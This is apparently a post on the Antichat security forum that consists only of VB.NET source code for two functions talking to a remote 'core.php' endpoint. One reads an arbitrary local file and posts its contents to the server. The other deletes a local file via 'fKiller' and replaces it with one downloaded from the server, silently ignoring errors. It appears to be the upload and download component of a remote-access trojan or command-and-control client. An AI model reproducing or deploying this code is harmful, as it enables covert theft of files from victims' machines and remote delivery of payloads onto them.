ANTICHAT — форум по информационной безопасности, OSINT и технологиям

    Private Function FUPD(ByVal localFilePath As String, ByVal remoteFilePath As String)
        Try
            Dim request As WebRequest = WebRequest.Create(http_URL & "/core.php")
            request.Method = "POST"
            Dim postData As String = "OP=UPD&pr1=" & remoteFilePath & "&pr2=" & File.ReadAllText(localFilePath)
            request.ContentType = "application/x-www-form-urlencoded"
            request.ContentLength = postData.Length
            Dim dataStream As Stream = request.GetRequestStream()
            dataStream.Write(System.Text.Encoding.Default.GetBytes(postData), 0, System.Text.Encoding.Default.GetBytes(postData).Length)
            dataStream.Close()
            Dim response As WebResponse = request.GetResponse()
            dataStream = response.GetResponseStream()
            Dim reader As New StreamReader(dataStream)
            Dim responseFromServer As String = reader.ReadToEnd()

            ' If responseFromServer <> Nothing Then MsgBox(responseFromServer)

            reader.Close()
            dataStream.Close()
            response.Close()
catch ex as exception
End Try
End Function

    Private Function FDWN(ByVal remoteFilePath As String, ByVal localFilePath As String)
        Try
            fKiller(localFilePath)
            Dim request As WebRequest = WebRequest.Create(http_URL & "\core.php")
            request.Method = "POST"
            Dim postData As String = "OP=DWN&pr1=" & remoteFilePath & "&pr2=" & localFilePath
            Dim byteArray As Byte() = System.Text.Encoding.UTF8.GetBytes(postData)
            request.ContentType = "application/x-www-form-urlencoded"
            request.ContentLength = byteArray.Length
            Dim dataStream As Stream = request.GetRequestStream()
            dataStream.Write(byteArray, 0, byteArray.Length)
            dataStream.Close()
            Dim response As WebResponse = request.GetResponse()
            dataStream = response.GetResponseStream()
            Dim reader As New StreamReader(dataStream)
            Dim responseFromServer As String = reader.ReadToEnd()

            ' If responseFromServer <> Nothing Then MsgBox(responseFromServer)

            File.WriteAllText(localFilePath, responseFromServer)
            reader.Close()
            dataStream.Close()
            response.Close()
            Return True
        Catch ex As Exception
            Return False
        End Try
    End Function